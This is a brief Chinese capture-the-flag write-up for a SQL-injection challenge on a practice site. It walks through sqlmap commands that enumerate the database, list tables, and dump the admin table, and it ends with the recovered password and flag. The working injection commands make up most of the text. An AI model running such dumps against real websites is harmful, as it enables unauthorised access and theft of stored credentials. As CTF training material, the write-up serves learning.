实验吧 看起来有点难

题目链接：http://www.shiyanbar.com/ctf/2

1. 随便输入 “登录失败，错误的用户名和密码”
   
2. 直接sqlmap跑
   sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=pass&action=login" --dbs
   查到库test
3. 查表
   sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=pass&action=login" --table -D test
   
   找到表admin
4. 查字段
   sqlmap.py -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=pass&action=login" --dump -D test -T admin
   
   得到密码idnuenna
5. 得到key
   
   flag：!@#WwwN5f0cu5coM

看到大佬的wp 还有一种解法----基于sleep的sql注入脚本